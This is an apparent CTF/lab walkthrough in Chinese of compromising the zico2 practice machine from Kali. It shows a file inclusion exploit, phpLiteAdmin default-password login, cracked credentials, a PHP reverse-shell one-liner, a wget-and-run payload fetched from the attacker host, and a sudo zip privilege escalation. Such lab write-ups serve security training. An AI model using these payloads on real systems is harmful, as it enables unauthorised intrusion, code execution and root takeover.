下方实操中,使用到 攻击机 Kali 和 靶机 zico2
Kali:192.168.2.130 zico2:192.168.2.190
两台机器均开启 NAT 模式,比较方便快速扫描。
一、扫描信息
1. 使用 nmap 工具进行同一网段下的扫描
nmap -sS -T4 192.168.2.0/24
2. 扫描到 靶机 IP后,再次使用 nmap 对其进行全端口扫描,目的是观察靶机具体开放了哪些端口
nmap 192.168.2.190 -A -p-
扫描后发现,他开放了 ssh,http 和 rpcbind 所相对应的端口
3. 扫描后台敏感目录信息
发现有 css,img,js等,这些都是没有利用价值的图片信息等
再次翻找,发现有 dbadmin 的一个路径,可以进行访问查看有无可利用信息
dirb http://192.168.2.190/
二、搜索漏洞,文件
1. 因为开放了 http 的 80 端口,故在浏览器中输入 IP 地址进行访问,在该页面中可以查看源代码 或者 随便点点 查看有无有价值信息,在此页面点击下方 CHECK THEM OUT 后,可进入另一页面
2. 跳转到如下界面后,可以发现其URL中含有 '?page='--->属于文件包含漏洞特征
故查看是否有该漏洞
文件包含漏洞的特征:
?page=
?file=
?home=
3. 查看有无 “文件包含” 漏洞的方法,可在其网页后输入 /etc/passwd,观察能否在网页中查看到
/etc/passwd 下的用户信息,结果是不能查看,那他一定没有 “文件包含” 漏洞吗?
答案是不一定。
如果不能直接查看到 /etc/passwd下的内容,可能是因为默认的目录没有在根目录下,可采用 ../../../的方式,使其返回到根目录下,寻找网站可以访问的目录,利用文件包含漏洞。
4. 该靶机页面中已无可利用信息,故进入上方扫描到的 后台目录 中查看
发现有 test_de.php ,点击进行访问
5. 发现是 phpliteadmin 的登录界面,需要输入密码,百度查询了一下该管理系统的默认密码是“admin”,尝试登录。
一般这种网站都是使用弱口令进行猜测密码,也可进行密码爆破。
6. 通过默认密码登录至数据库管理平台,界面显示如下:
由于是数据库管理平台,故可能包含用户名和密码信息,可进行寻找,发现2条记录,点击“Browse”进行查看,其中有root和zico的用户名和密码信息,密码格式为32位长度的16进制字符串,明显是md5值,故可通过MD5破解尝试得到明文密码。
破解后得到 root 和 zico 的明文密码
root:34kroot34
zico:zico2215@
7. 可利用该账号密码进行 ssh 连接登录,观察是否成功
结果是不能用此进行 ssh 登录,故尝试其他方法。
8. 因为该网站是 phpliteadmin ,故可搜索它的漏洞,观察是否能进行利用
发现他有远程 PHP 代码注入漏洞,由此有了反弹提权的思路,在 phpliteadmin 中可上传 PHP 代码,在 Kali 中进行监听,观察是否能获得到该靶机的反弹 shell
三、反弹shell的建立与连接
1. 上传php代码进行验证
在该后台页面中创建一个1.php的数据库,再在该数据库下创建一个名为a的表,1个字段--->Go
设置表中信息,类型为 TEXT 类型,插入 php 详情信息的命令--->Create
结果显示数据库表已被创建
2. 在含有文件包含漏洞的页面中键入下方代码查看是否能访问1.php
../../../../usr/databases/1.php
结果显示php配置信息,表明可利用该数据库上传反弹shell
3. 反弹 shell 的上传
①在Kali的 /var/www/html 中写一个 shell.txt 脚本(一句话反弹shell)
(将文件放至此目录下可以方便访问)
脚本内容如下:
<?php $sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");?>
②开启 apache 服务
③Kali 中开启监听
nc -lvvp 4444
④在 phpliteadmin 中创建数据库 hack.php(命名不作要求) ,设置具体信息
在其数据库中创建表shell (方法同上) 键入代码如下:
(目的是获取 Kali 中的 shell.txt ,以此获得反弹)
<?php system("wget 192.168.2.130/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>
4. zico 页面访问数据库中的 hack.php 页面卡住 反弹成功
四、登录反弹 shell
1. 之前在 phpliteadmin 的后台数据库管理平台中看到有 root 和 zico 两个用户的信息,因为 root 用户权限较高,故可先进入 普通用户 zico 用户目录下进行信息搜集
进入 zico 用户,在其家目录中找到 wordpress,这是一个免费开源的建站程序,进入该目录,查看 wp-config.php配置文件
(因为配置文件中含有该用户数据库的用户名密码信息)
得到zico的密码信息
zico:sWfCsfJSPV9H3AmQzw8
2. 利用上方 用户名 密码 信息进行 ssh 登录,也可在此 反弹 shell 中进入切换用户
在此我选择了 切换用户 ,但建议选 ssh 连接,因为 ssh 连接较稳定
ssh zico@192.168.2.190 #ssh建立连接的方法,回车后输入密码即连接成功
五、提权
1. 使用sudo -l 查看 zico 用户在 tar 和 zip 的用户组里面,可尝试 提权
sudo 用管理员权限执行
2. 在此可利用 tar 或 zip 文件进行 sudo 的提权,我选择了 zip 的方式
在 /tmp 目录下创建一个名为 tiquan 的空文件( /tmp目录下所有用户均可读可写 )
3. 运行如下指令,通过 zip 运行 Linux 指令,获取 root 权限
通过压缩一个存在的文件,并调用 -T 参数输出 shell
sudo -u root zip /tmp/tiquan.zip /tmp/tiquan -T --unzip-command="sh -c /bin/bash"
4. 键入上方命令后,即通过 sudo 进行了 root 身份的提权,在 root 目录下成功获取到 flag
整个靶机的打靶就结束啦,难度不是很大,文章总结的稍有欠缺,我会继续努力哒~
HOPE YOU ENJOYED!